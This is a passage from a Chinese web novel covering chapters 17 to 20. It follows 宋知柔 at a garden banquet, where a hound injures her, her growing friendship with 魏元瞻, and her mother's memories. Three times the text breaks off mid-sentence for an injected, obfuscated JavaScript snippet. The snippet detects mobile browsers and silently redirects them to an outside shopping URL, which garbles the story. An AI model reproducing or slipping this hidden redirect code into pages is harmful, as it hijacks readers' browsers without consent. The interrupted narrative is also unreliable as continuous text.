刘嬷嬷伸手接过。 今日是两封，其一用纸粗劣，字迹却工整。她垂目一看，竟是从洛州寄来。 信封上书：知柔启。 17. 饯星霜（五） 江府的请帖自然也去了一封与宜宁侯府。 许月清拿到时，外间隐有鸟雀飞过花草的声音。 她打开请帖粗看一眼，忽然听下人禀报，称姑娘来了，于是搁下帖子，吩咐左右：“去瀹壶茶进来，要甘甜些。” 婢女领命去了。 魏鸣瑛迈步过来，微笑着向上首请安，眼神不经意往案边瞟了一眼。 许月清命她落座，没见到魏元瞻的影子，不由问：“元瞻这几日又跑哪里去了？有些早晨没瞧过他。” “他呀，好像是学塾中有一位颇赏识他的先生……我没多问，大抵是去讨教了吧。” 魏鸣瑛扯起谎来连脸色都不曾变一下，可到底有些不自在，她马上转移话题，道：“是谁府上宴请？” 许月清把帖子拿给身边侍立之人：“江府游园宴，与我们无关，我会叫人过去回绝。” “我们不去吗？” “年关将至，府上且有的忙，哪有空闲赴宴。” 见她有些失望，许月清忖了一会儿，便提议：“你若是在家待着无趣，倒不如同你弟弟一起，进宋家家塾念书好了，彼此还能有个伴。” 去宋家跟魏元瞻做一对可怜鬼，她才不要。 魏鸣瑛讪笑着：“我觉得李先生教我就正好，不必去宋家了。况且我还要练舞呢，到底在家便宜些。” 许月清想到她平日练舞辛苦，不禁皱起眉头，隔了半晌，又微笑道：“好。” 恰值外面叩门声起，许月清猜得是谁，叫人进来，等下人将东西装点好，呈到魏鸣瑛手边，她才说道：“我请马娘子一早到外头给你买的油酥饺，不是喊着想吃么，尝尝。” 油酥饺是南边的做法，自打京里开了这么一家食铺，魏鸣瑛天天挂在嘴边，可每回叫人去买都没着落，还以为品尝无望。 她当即应是，然后捉裙跑到门边，叫住离开的马娘子，笑嘻嘻地跟她道谢。 瞧她模样可掬，许月清在后头牵了牵唇：“你怎不知谢我？小没良心的。” 此时，庭院中艳阳高照，宋祈羽兄妹从祖母的院子里走出来，想起方才宋知柔在祖母面前各种做作，宋含锦十分不快。 眼皮一撩，恰又看见知柔，她鼻腔中冷哼一声，抬脚就往另条道去。 半个月前，宋知柔鬼鬼祟祟从家塾那边的院墙翻进来，着实吓了她一跳——就这样一个没规矩的丫头，哪点跟乖巧沾边？ “假模假样。”她悄悄嘀咕。 “谁假模假样？”宋祈羽信步跟上来，笑问她道。 宋含锦扭头看他一眼，又转回去，没有吱声。 她这副表情，宋祈羽颇觉熟悉，遂没再追问，安静地陪她走去家塾。 半路上，宋含锦果然忍不住开口：“哥哥，你不觉得宋知柔在祖母面前的样子像极了你吗？” 宋祈羽停下脚步，她亦站定了，有些轻蔑地说：“就瞧今日，祖母问起课业，她二话不说便往哥哥那儿看，等哥哥答完了，她才捏着嗓子回复祖母。三两句话而已，她倒应得老成。” 宋知柔是否学他，他并未关注，听完只是随口说道：“她想讨祖母欢心，没什么不寻常。” “当然寻常，不仅如此，她还很是了得。” 宋含锦怪声怪气地承了一句，到后头，声音逐渐压低：“我瞧祖母真有些上她的道。” 大户人家原就没有太深的嫡庶之见，不过林姨娘的身份太低，又尴尬，所以祖母对宋知柔并不看重。 可近来宋知柔也太能装了，祖母一开始对她只是敷衍两句，今番竟然主动垂问她的起居。 这对自小不怎么得宋老夫人偏私的宋含锦来说，无疑是一记重棍。 四下寂静，水波一样的光影把她的脸笼着，难得泄出幼稚的神情。 宋祈羽嘴角浮起一丝笑，故意打趣：“妹妹很喜欢她？” 宋含锦险些以为自己听差了，愣了一下：“什么？” 他接着说：“妹妹整日宋知柔长、宋知柔短，不清楚的人还以为她是你的朋友呢。” 宋含锦愕然，面对哥哥一张温朗的脸——那双清亮的瞳仁里，一直有笑意不曾消散。 他在嘲笑她。 宋含锦恼得几乎要跳起来，声调却还抑着：“胡说！她也配？” 宋祈羽本来就是与她开玩儿，看她当了真，也就跟在她身后出言示好，一并去向家塾。 到了江府举办游园宴那日，天气晴暖，因临近腊尾，街市上已有商户挂起花灯，一排排相联摇曳，将来往游人的衣衫都点上朱赤之色。 见马车过来，行众退至一边。 车厢内，女子半垂目光掠在知柔身上，不乏探究的意味。 江府设宴，知柔本不在邀请之列，至于许月鸳为何将她带上，是因为两日前—— 知柔花光所有月例，买了两盒香丸，其一送到林禾手上，另一盒，她亲自揣着去了老夫人房中。 宋老夫人出身门阀，还有什么不曾见过？便说香丸，她屋中上品不知凡几，哪里需要一个孩子专从外头买回来。 正因如此，宋老夫人听到知柔呈来一盒香丸时，心中微讶，再听她解释缘由后，没忍住莞尔。 小姑娘一身正气地立在那，明若琉璃的眸子一眨一眨，天真地说着：“祖母，我听他们说南疆人贩的香丸有解乏之用，于是托邹爷爷替我买了一些。送给您。” 邹管家是个面冷之人，随着年纪愈长，积威愈深，一般府里的孩子见了他，大多不会搭话，略一颔首便匆匆离去。 四丫头能劳动他去外面买香，想是费了不少功夫。 这份心意，和她身上一股强自掩藏的活泼劲儿，敲开了宋老夫人清居多年而冷淡的心。 便有些怜悯这个孩子，可惜了，未能托生在二房媳妇的肚皮里。 因着一点恻隐之心，宋老夫人得知许月鸳要携一双儿女去江府赴宴，便差人过去提了一声，让她把四丫头一并带上。 许月鸳坐在马车内，将知柔细细打量了一会儿，见她挺腰端坐，视线常有回避地落至一旁，终于撤回目光，道：“进了园中勿要乱走，跟着刘嬷嬷。” 知柔点头答应，手指在膝盖上百无聊赖地磨了磨，动作很小，不敢被人察觉。 等到沈园门前，马车停下，宋含锦往知柔身上扫了扫，随许月鸳踏下马车。 几位年轻的贵女在一旁低论：“沈园、沈园……江夫人真是好福气。” 沈园建好不足一月，江家三爷与其夫人的故事却在京城中再度流传起来。 据说，这沈园乃是三爷为夫人专门修筑，连名字都题着“沈”，爱慕之心，何其昭昭。便叫人不得不较起从前—— 士庶不通婚的时代，江三爷能娶到沈家女，其城府手段，令人不敢恭维。也正因如此，世人皆断定这场婚姻不会圆满。 一个野心勃勃的商人，借妇家势力走上坦途后，大概是会露出本来的面目吧。 谁料一晃十二三载，江三爷对夫人的情意，世人有目共睹。或艳羡者，或鄙夷者，都无法不称他二人为一段佳话。 许月鸳将周遭的闲言听在耳中，领着小辈三人慢慢跨了进去。 沈园修建得宽阔明丽，便是与雍州的赵王府相比，也不见逊色。 知柔被眼前的景致攫尽目光，不期然侧首，正对上一双清亮的眸子。 是个女孩儿。 她身旁立着一位年轻妇人，眉眼明媚，唇边挂着丝丝笑，瞧见许月鸳，面上闪过一霎惊喜，笑容便愈发耀眼了。 “阿鸳！”妇人朝这头轻喊。 许月鸳脚下一蹉，好像有点晃神，很快便控制住。看人走近， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12883911|135560||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她平淡地应了一句：“江夫人。” 这般疏冷的语气让沈敏有些怔，过了半会儿才转过弯来。 是啊，她们五年未曾碰面，能不生疏么？ 但许月鸳能来，她依旧感到欣喜，见她身边多了一个八九岁的孩子，不由问：“是你的小女儿？瞧着倒是与我家洛洛一般大。” 说着又问知柔：“你叫什么名字？” 沈敏的话一出，不光许月鸳感到尴尬，宋含锦的脸色都扭曲了。 所幸知柔未曾开口，而是望着许月鸳，仿佛在等她示下。 许月鸳含混道：“是我家四姑娘。知柔，还不过来叫人。” 知柔这才上前两步，见过人后，察觉一道视线落在她身上。 她眸光微转，回视过去。 是那个名唤洛洛的女孩儿，长得与江夫人五成像，眼睛很大，透着十足的鲜活劲儿。 大约孩子间也有一见如故，在江夫人交代江洛雅陪宋家哥哥姐姐去后面玩时，她一下就过来牵住知柔的手，往远处亭桥去了。 宋祈羽无意同行，偏头问：“妹妹去哪？” 宋含锦看了眼二人离开的背影，不禁皱眉。 宋知柔是什么香饽饽吗？ 她平缓须臾，反感和憋闷仍然挂在脸上，鞋尖偏转：“我跟哥哥一道走。” 及至傍晚开筵，宾客由园中婢女引到观云堂，知柔是和江洛雅一块儿去的。 席位原因，二人不得不分开，知柔回到许月鸳身边时，眼底犹藏不舍之色。 宋含锦横她一刹，扭过头，视野中闯入一个窄袖黑袍的人影，身畔跟只细犬，大剌剌地走到席上。 “那是谁？”有人忽问。 “好像是江府公子。” 周围响起一些议论声，宋含锦听得专注，目光也在暗暗观察他。 携犬赴宴，怎么看都不太合宜。 显然江夫人对他此举也十分不满，不等他坐下，嗓音里已起了薄愠，压声斥责：“你又把这畜生牵出来，是存心要在今日闹我吗？” 少年垂眸，向沈敏施礼，而后落座下去，耐性地抚一抚细犬的皮毛。 这才慢慢回道：“母亲为何就是容不下它？上次的事，我已同母亲说过了，它只是一时受惊，并非恶犬。何况有我在，它不会伤人。” 沈敏不欲在大庭广众之下拂了儿子的脸面，但那细犬顽劣，若今日冲撞了谁，于江家总归是个麻烦。 “如你偏要留它，便即刻回府，别等捅了篓子再让我来帮你收。” 江筠听后把衣袖一折，懒洋洋起身，尚未开口答应什么，那细犬猛地站起，呲牙朝宾客奔去。 知柔上一瞬还在好奇，她足边何时多了一只兔子？下一瞬，耳朵里灌进哄闹的响动，再抬眼，竟瞧那细犬直冲了过来。 知柔要躲，却不及细犬的速度快，只见身前一条影过，桌上摆放之物尽数砸下，有东西磕住她的腿，疼痛至极。 宋含锦的位子与知柔临近，经此一闹，手也擦伤了，宋祈羽等人立刻趋上，高墙似的，把她围了起来。从外面看，连一角裙裾都瞧不着。 关切的言语在身边细密落下。 无一问到知柔。 见那些人着急察看宋含锦的样子，知柔喉咙微胀。 他们好像，完全遗忘了她。 她咬一咬牙，拿手背抹了两把眼睛，径自起身，不料伤口发痛，才站直须臾便重新跌坐下去。 晚风摇晃树枝，地上的树影随其摆动。 不知何时，有片阴影变深了。 “喂。” 骤然听得一个少年的声音，知柔抬头。 少年靴底踩着那摊被细犬撞洒的茶汤，视线将她从头审视到脚，眉宇轻皱，露出一种嫌弃的表情。 半晌，他问：“你哪里疼？” 18. 饯星霜（六） 宴园里灯火煌煌，四目相对，一个惊讶委屈，一个担忧却遏制。 从起云园分别之后，知柔和魏元瞻没再说过一句话。 现下，唯一来察看她的人居然是他，知柔心口微动，有种说不出的复杂滋味。 渐渐地，明灿的眸子有些朦胧，她垂下脸，只盯着自己的脚腕，不曾吭声。 魏元瞻蹙眉，回身扫视一圈，终于看见在不远处观热闹的兰晔。他把人叫回来，低声吩咐：“她受伤了，你来治她。” 兰晔的神思还停留在江筠与那条恶犬身上，乍闻他下令，先是一懵，然后瞟一眼地上的姑娘，再看向魏元瞻，心里十分为难。 虽说小姑娘冒犯过他们爷，但那会儿她是个“小子”，没什么打紧，眼下这般……他哪好意思下手，教训一个女孩儿？ 魏元瞻不知道他在磨蹭什么，出声催促。兰晔着实只听见了后半句，见他催得紧，只好把心一横，准备上些手段。 凶相才暴露出来，魏元瞻就从后面掣住他的胳膊：“你糊涂了？我让你医治她。” 兰晔一顿，继而苦恼地抓了下后颈：“爷，我哪会医人啊？应该让长淮来……” 话音即止，就见魏元瞻对他挑了挑眉头，那神情仿佛在说：你瞧长淮在吗？ 他无法，讪讪瞅一眼知柔，忖思半晌，从怀中掏出一瓶化淤镇痛的药。 那是常年为魏元瞻备下的。 兰晔矮身蹲在知柔跟前，尚未开口，就已是一副手足无措的姿势。 知柔会意，忙接过瓷瓶，转了个无人能视的方向，迅速褪低靴袜，将药油倒出来敷在脚腕上。 过了半会儿，药效渐显，伤处不如先前那般无法忍受了。知柔重新牵出一点笑容，对兰晔道：“谢谢大哥哥。” 说完，眼神往魏元瞻身上偷偷一掠，不知他听见没有。 另一边，江筠才召回他的细犬玄尾，见它抓来一只兔子，眼波微闪，扭头望向角落里沉默寡言的一个人。 上回便是他，呈了巫士的谶纬与母亲，称告玄尾不详，也是他请来谶纬的前几日，玄尾扑扯了他。 江筠手指在衣袍前攥了攥，待要举步，就见一道瘦小的影子从旁边闯过来，拽住他的手，凶巴巴道：“你去给我的朋友道歉！” 他心头正愠，一把推开江洛雅：“什么朋友？”低头看住玄尾，再抬眸要找那人身影时，他早已离开，只有沈敏和江府下人忙前忙后地收拾残局。 江洛雅不肯罢休，死活拖着江筠，势必要让他亲自给知柔赔个不是。 是以，等知柔有了力气，撑地起身时，就看见江家兄妹带着那条细犬走了过来。 她心有余悸，朝旁边略站了站。 魏元瞻留意到她的动作，眉毛微拧，而后不动声色地往她身前迈了一步。 十岁出头的少年人，长胳膊长腿，肩平腰正的，把知柔完全遮住。 江洛雅见状，明白了几分，将方才给玄尾套上的绳拴递到下人手中，径自绕过少年，将知柔上上下下打量几遍。 “你还好吗？我让我哥哥来给你赔罪了。”转头唤江筠，不久后，知柔身前又添一道人影。 魏元瞻在江洛雅大喊哥哥时，眼尾朝江筠身上淡淡一瞟，见他们似与知柔相识，停了一会儿，抬脚走开了。 灯影下，江筠压着心烦站在女孩儿面前，无奈地解释：“玄尾平日并不这样，今日……” 话至一半，嗓音又咽了下去，不再作声。 狗撵兔乃乡间惯见的游戏，知柔瞧得多了，不觉稀奇，只是今日那细犬冲她而来，委实惊心。 转念一想，席间有犬是江公子骄狂，而那只野兔……未免巧合了些？ 知柔心思飞转，不欲掺合人家的家事，便活动一下筋骨，说自己无碍，更不会怪罪他的玄尾。 递好的台阶，江筠自然顺着它下，走前到底吐了一声：“对不住。” 江洛雅掉头看知柔，小声道：“母亲已经派人去请医工了，你要是伤了哪儿，叫医工过来瞧瞧。” 说完朝她眨了眨眼，像阳光下的雀梅，金灿灿的。知柔这才又笑起来，声音清脆，带着玩意：“你真体贴。” 没多久，围着宋含锦的人墙逐渐松散，打外头瞧，总算能瞧见她的衣裙。 江洛雅循声瞄去一刹，早有疑惑，拖到当下才忍不住问：“你母亲和兄长为何不来看你？三姑娘的模样……好像并无大碍。” 知柔很想应她：那不是我的哥哥，也不是我的阿娘。 但不知为何，她生生憋住了，只笑了笑，用一种无所谓的语气说：“因为我也没事呀。” 经过方才一场“追逐”，席面早就乱了，三三俩俩站在一团。有些嫌累的，径自请辞，携家人打道回府；也有与江家交情深些的，譬如盛家，仍然面色不改地坐在席上。 魏鸣瑛便与盛夫人坐在一处，手里剥着甜柑，慢条斯理地，很有些沉浸在热闹中的意味。见魏元瞻过来，她将柑果搁在案上，对他一笑。 今日能够入沈园，多亏了魏元瞻。 她以上告母亲他每日天不亮就去起云园之事相胁，迫使他想法子出来赴宴。若非今日来了，她恐要错过这里诸多趣事。 魏元瞻行到盛夫人下手，向她行礼，随后踱去魏鸣瑛身边，眸光一斜：“待够了吧？可以回府了。” “你跟四妹妹很熟啊？”魏鸣瑛不接他的话，视线在他脸上盘旋，“我都看见了。” 魏元瞻将袍子撩起，随意一坐：“看见什么？” 魏鸣瑛嘴角略翘地盯着他：“你不是说四妹妹与我们无关，别去招她吗？” 那已是数月之前，但话的确是从他的嘴巴里说出来，一字不差。 魏元瞻沉默了一会儿，说道：“我瞧她可怜。” 言及此，魏鸣瑛唇畔的笑收拢了些：“是可怜。姨母又何必带上她。” 暮晚归府，知柔趁房中没人，把裤管撩高，精瘦的小腿晾在黄光下，有一处明显鼓了起来，比在沈园里瞧，似乎多了一点零碎的青紫颜色。 知柔心想：真倒楣。她叹一口气，仰头倒在床上，盯着帐顶，眼前竟然浮现出魏元瞻的脸。 他们起头就不和，后来几番交集，她觉得此人实在讨厌。在家塾里，二人默契地没有说话，大概是因为柿子一事，皆怀怨气。 可今夜魏元瞻的举措令知柔对他的印象一改故辙，满腔心思想着怎么报答他才好。 等知柔的腿全好起来，已至元日。 她活动自如，像只顽猴似的，在林禾的屋子里展示武艺。 说是武艺，实则不过她在江南偷学的几套拳脚，虽无章法可言，却真能防身。 林禾见她折腾了一头汗，还喜气盈腮的，不由笑着招手：“歇一歇吧，过来坐。” 知柔擦了擦脸，适才坐过去，大口喝一杯茶。 林禾打量她一阵：“这几日不用去家塾，课业可有落下？” “我每日都在背书呢！”她放下茶杯，“阿娘，我把昨日学的背给你听。” 说着敛衣站起，一只手反剪身后，清咳了两声。 朗朗道：“翩彼飞鸮，集于泮林，食我桑椹，怀我好音。憬彼淮夷，来献其琛，元龟象齿，大赂南金①。” 林禾颔首：“第一句何意？” “飞鸮在空中疾行，飞着飞着，停到了泮池边的树林里，吃了我的桑椹，所以要唱好听的歌还给我。意思便是，飞鸮尚且懂得图求回报，何况人呢？” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12898011|135560||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知柔洋洋洒洒说完，颇有几分邀功地看过去：“阿娘，我说的对不对？” 童言稚嫩简白，惹得林禾衔笑：“不错。” 转而又问：“你的字写得如何了？在家塾念了三月，不知有无长进。便将你方才诵的两句写下来，与我瞧瞧。” 知柔有个习惯，她读书从不贪多，能读能背则矣，临字默写，那是另一回事儿。 眼下叫她执笔，她想破脑袋也只能看见两行字的囫囵，一笔一画该如何落下，到底不知。 样子却是做足的。 她静立片刻，从林禾手中接过一管兼毫，枕腕书写。字虽平平，胜在刚劲，比同龄孩子的字锋利得多。 知柔写完投笔，两眼亮晶晶地翻了下：“阿娘过目。” 林禾瞧上一眼，果然是她最拿手的四个字——新禧万福。 心中想笑，嘴里却说：“就知道糊弄我。” 因是春节，不好太拘着她，便取了红封交到她手里，柔和道：“添福添岁，平平安安。” 晌午全家一处吃饭，宋老夫人给林禾破例，让她也入席落座了。 小辈们独占一桌，围着先摆上的几碟小菜，表示似的，随意动了下箸，兴头儿早就丢在外面搭的戏台子上，只等去看回闻阁排的新戏。 知柔年纪最小，位置靠屋里边儿，正对面便是两位哥哥在侧首说话。 二公子是长房之子，比宋祈羽小两岁，也有个好听的名字，叫宋祈章。大约随了长房夫人的模样，他生得颇显阴柔，性情却是太阳一般。 目下他和宋祈羽笑笑，一错眼，对上知柔百无聊赖的目光，似记起什么，突然道：“四妹妹，你和我别处说话。” 知柔立马跳下凳，随他走到屋外。 其余几人皆疑惑地看过去。 “他们俩密谋什么呢？”府里大姑娘宋含煦拉着妹妹嘟囔。 宋含茵摇头：“前几日就开始了，我看二弟弟常在家塾找四妹妹说话，真不知道他们俩是怎么聊到一块儿的。” 就在这时，宋含锦随口应了一句：“恶趣相投呗。” 声调不高不低，恰好落入同席的几个哥哥姐姐的耳朵里。 宋含煦、宋含茵都是长房姑娘，虽平日与宋含锦亲近，可听了这么一句话，难免有些不痛快。 二人眉心微褶，正待发作，宋祈羽恰时开口替她辩解道：“姐姐别气，妹妹她说着玩的，没什么意思。” 话音入耳，宋含锦方才察觉自己失言，垂眼撇一撇白箸：“是我说错了。” 因是冬日，天色总闷闷的，不露晴朗。 宋祈章往门内掠一刹，很快转回来，一双眼睛在阴影下显得格外烁亮。 “四妹妹，你托我买的东西我买好了，你什么时候带我下河捉鱼？” “现在太冷了，至少得等到春天吧。”知柔也回头看屋内一眼，顿一顿，“二哥哥，东西在哪儿？” “我一会儿叫人给你送过去。” 宋祈章答完，眼神古怪地落在知柔身上，再张口，有些担忧的意味：“你是要用它对付宋培玉吗？” 前几日，宋培玉不知哪里寻到四妹妹养的乌龟，下狠手，把它的龟壳尽染红了。 据说四妹妹哭了一日，第二天给它重新取名，叫“红袍大将军”——这名字大抵有挑衅的意思。 宋祈章与知柔聊得投契，听她讲起洛州，便想着将她所述之事都玩一遍。这般相处下来，他觉得四妹妹实在是一个有趣的人，不忍心见她沾惹麻烦。 乍闻“宋培玉”三字，知柔的脸色难看了些，随后又想，她让宋培玉在先生那里吃了个暗亏，已是报复回去，没什么可气的了。 她欢喜地展眉，说不是，“我要送人。” 19. 饯星霜（七） 节中连着下了几日雨，待到放晴，人养散的骨头又拼回来，该上朝上朝，该读书的读书了。 知柔惦记着谢礼一事，这日散学，她在魏元瞻走出家塾后，立马追了上去。 “魏——” 字音才起，兰晔就一个侧身将她死死挡住，眉毛挑得极高，唯恐她要冒犯魏元瞻一般。 这其实怨不得他。 打上次看见宋知柔拿弹弓射他主子，他便一直自咎，且认定这姑娘不知礼数，胆大放肆。 譬如方才那一声“喂”——谁人见了他家爷不称一声世子？ 知柔被他盯得莫名其妙，见他阻拦，便歪出一点脑袋喊魏元瞻：“我有东西给你！” 兰晔扭头看魏元瞻一眼，退避半步。 魏元瞻没吭声，沉默着，带着几分疑惑打量她。 初二那日，他随父母到宋家拜贺。临走前，忽然在廊下遇到宋知柔。 她显然也不曾预料会见到他，面上先是一惊，随后小跑过来，当着他的面在怀中掏来掏去。 始终也没掏出什么。 然后她开口道：“你改天还来吗？” 这真是废话。 待翻了年，他总是要回宋家家塾念书的，一如今日。 于是他问：“怎么了？” 那会儿她就说：“我要答谢你呀。” 眼下，魏元瞻踩着斜长的影子，往前走了两步：“什么？”心里也有些好奇。 即见她从身后变出上次遗漏的木匣，轻轻打开，里头躺着一支用上等柚木雕刻的弹弓。 魏元瞻拧着眉，不解地看她片刻，倏而自笑一声：“你这是在提醒我，你有多厉害么？” 知柔登时记起自己失手那回，忙道不是，“我想和你一起玩。” 与她自己的弹弓相比，送给魏元瞻的可要精致许多。毕竟是她花钱请二哥哥去外面买的。 这是她表达友谊的方式。 她在邀请他和她一起玩。 闻及此，兰晔与长淮没忍住笑了，忙不迭咳嗽转身，面对洞门。 魏元瞻瞥他二人一眼，复转回来，认真地审视知柔。 时下春尚早，阳光像纱一样打她脸上飘落，漾出几层金光，闪了闪他。 他已拒绝过她一次。 那次是在许家，外祖母寿宴上，他觉得无聊，到外头透气，鬼使神差地接近了她。 当时她也是这般，感情流露得太过直白，与他认识的所有人都不同。他怔住了，不知如何回应这种赤诚的情感，只自顾自地认为二人身份云泥，她所言之事，简直是在做梦。 可是现在，他从宋知柔的注视中慢慢收回眼，手不知所措地攥了会儿：“我只玩真的，你这种小术，我没兴趣。” 这是嫌她幼稚。他时常攥在手里把玩的可是一把短刀。 知柔不太明白，眼前这人为何又好，又不好的？他的话，是婉拒吗？ 她垂下睫，闷闷地应了声：“哦。” 正要撤下举酸的手，却瞧他迎前一步，一把将那木匣从她手中拿去。 “谢了。”便折身往前。 兰晔二人即刻跟上。 待走远了，兰晔悄觎魏元瞻，见他耳根微红，面容倒是一派严肃，甚至有些苦恼。 不由问：“爷，您真要跟宋四姑娘玩到一处啊？不怕别人笑话？” 魏元瞻驻足：“笑话什么？” 兰晔：“自是笑话您堂堂宜宁侯世子，居然跟一个不懂礼的小姑娘做——” 等不及说完，长淮已经从身侧踢了他一脚，他适才注意到魏元瞻的脸色。他太清楚了，少年虽然在笑，心里估计攒着劲呢。 遂立即捂嘴讨饶，却已经晚了。 魏元瞻的视线掠过他的剑，很坦荡地说了句：“今晚练枪，你跟我。” 星回在他们离开后，方从洞门外趋步上来：“四姑娘的礼送出去了？” 知柔愣了一下，回过神：“算是吧……反正他收下了。”想起另一桩事，边走边问，“星回姐姐，还是没有我的信吗？” 从她离开洛州开始算起，已经七个月了。这七月以来，小娥何以只言片语都不曾寄与她？ 星回瞧她容色：“四姑娘在等谁来信？” “是我在洛州的朋友。”知柔道，“她跟我很要好。她也答应过，会给我写信的。” 这不是星回第一次听她说起洛州。她每每讲起，眉间总是满溢喜色。 此刻，她却揪着眉毛犯愁：“我也写给她了……为何不回我。” “说不定是路上耽搁了呢？”星回劝道，“四姑娘别难过，虽然没有洛州来信，但江姑娘可往府上送了不少东西。我替您瞧了一眼，有许多都是南边才贩的紧俏货，您一准儿欢喜。” “洛洛？”知柔微顿。 她和江洛雅确实投缘，可她们相识不足一月，她已收到江府送来的不少礼物。 她一贯不喜欢欠别人——这么多东西，可怎么还呢？ 凛冬的余韵还在，朔风骤起，窗牖发出低沉的呜咽声。 美人榻上，林禾掐着手心，睡得不大安稳。 梦里，她尚年轻，正是家中为她商量婚事的时候。她不喜那些白面瘦骨的世家公子，逢母亲来劝，便拎出随父北上的常小将军，说：“除了常二哥哥，我谁也不嫁！” 妇人冷笑一声：“你还认得你常二哥哥？人家一走八年，你连一封书信都未曾给人家去过，现下好了，族里给你说亲，你便提你常二哥哥做挡箭牌——你羞不羞！” “母亲怎知我没去过信？”她极力否认。 妇人乜她一眼，许是心里有了定数，语调就平静下来：“便是你去过信，又能如何？人家有说何时回京么？” “嫁女嫁女，自是将女儿往外头嫁，用他回来作甚？” 此言一出，彻底激怒了母亲，才端起的茶盏“嗵”的一声撂回案面，几近咬牙：“叫你父亲听见，轻饶不了你！” 她一听“父亲”二字，形容立即收敛，取而代之的是一种乖觉模样：“女儿知错了，母亲消消火，仔细气坏身子。” 三月之后，她戴上帷帽，从角门溜上马车，驶向明月楼。 她约了挚友魏景繁和王淑君在明月楼一聚。 这日中午，她到得早，随手将帷帽掷在桌上，临窗而坐。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12913422|135560||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不知城中来了哪一户官家子弟，瞧着面生，此时端坐马上，被一群女子围得行动不得，香囊像落雨一般往他身上抛。 她稍稍偏头，隔着花窗朝楼下看，打量那名男子。 他穿着上好的窄袖长袍，面容英俊。她端详得久了，无端生出些熟悉的错觉。 随即招来侍女，指尖遥点楼下：“那是谁？” 侍女分辨片刻，结合外间声浪，应声道：“回小姐，好像是常将军。” 她睫羽微颤，嗓音都轻了：“哪个常将军？” 待到朔德五年，她与常家次子常遇成婚已经九个年头。 那晚，宜宁侯府摆宴，敬贺魏老将军解甲。常遇临赴宴前，特意嘱咐她不要等，早些休息。 她哄了儿子入睡后，仍旧掌灯主屋，半寐半醒地等他回来。 总算赶在子时前，踉跄的脚步声由远及近，“喀哒”一声，进了门。她忙迎上去，把他扶到圈椅里坐下。 正要叫人打水，他拉住她的手，视线长久地停在她的脸上，嗓音喑哑。 “景繁说，他夫人下胎若是儿子，便叫你我……生个女儿。” 手腕的灼热蔓延到颊腮，她别过脸：“将军醉了，我让人进来服侍。” 他在她身后牵唇，佻达地笑了。 朔德七年，夜雨浓重，仿佛洗刷血水似的，长下未歇。 她怀中抱着不足半岁的女儿，屏息藏在甲板下，听外面兵器交混，不敢动分毫。 …… “阿娘、阿娘……” 稚嫩的声音在耳边轻轻响起。 林禾自旧梦中迟缓地醒来，睁开眼睛。 天光已褪，屋内点了烛火，摇摇曳曳地照在知柔脸上，很有些着急之色：“阿娘做噩梦了？” 林禾滞了须臾，然后摇一摇头，松开掌心。许是方才攥得太紧，乍一失力便有些发抖。 只好收回想要抚摸女儿的心思，尽量放稳声息道：“你怎么不在自己院里？” 见阿娘的神情与往常无二，知柔适才放下心，澄明的眼眸有金光闪动：“先生今日夸我了，还给我布置了课业！我想好好表现，但是太难了……” 说着，眉间拢起一丝惆怅。不过俄顷，她纤眉复展，举着甜津津的笑容看她：“故而来找阿娘，请阿娘赐教。” 在知柔心里，阿娘就是这个世上最有学问的女子。凡有困惑，只要来寻阿娘，便没有不能解决的。 她在家塾“遁形”数月，好不容易得到周先生青眼，自然要更加努力，将这份青睐维持得长久些。 林禾听后笑了笑，让她将课业拿来，她却说等等，随后起身跑出去，不知哪里弄得一盆热水，小心翼翼地端着。 到榻边，两只小手用力拧干帕子，献宝一样奉给她：“阿娘擦擦，你额间出了些汗。你怎么看书看睡着了呀？” “天气冷，便总有些嗜睡。”林禾接过湿帕，微笑着，“谢谢你了。” 知柔整整衣裙，也坐到榻上，掏出自己来时抄的难题小记，一边展开，一边随口问了句什么，使林禾的心没来由一窒。 ——“阿娘，将军是谁啊？” 20. 饯星霜（八） 最终，知柔未能得到阿娘的回复，好在她也不过信口一问，并不执着于此。 待解了题，她像一只兴奋的小雀儿，围着林禾叽叽喳喳，等星回来喊，便回了自己院里。 翌日，天气晴好。 知柔和魏元瞻结下了初步的友谊，但在宋家家塾，她黏的最多的人却是宋祈章。或者反过来说——宋祈章总爱缠着宋知柔。 “四妹妹，明日你会去吗？”宋祈章占用了宋培玉的位子，两条腿抻得老长，“说好春天一到，你就要陪我下河捉鱼的。你没忘吧？” 明日皇后娘娘千秋，不仅宫中设宴，民间也将举办灯会。前不久上元节，知柔未能出府，明日这个热闹，她当然想瞧一瞧。 “记得。”知柔说，“不过能不能出去，我得询问……母亲的意思。” 除了在星回面前，她当着旁人的面，还是得称二太太一声“母亲”。到底涩口，总要延捱一下才吐得出。 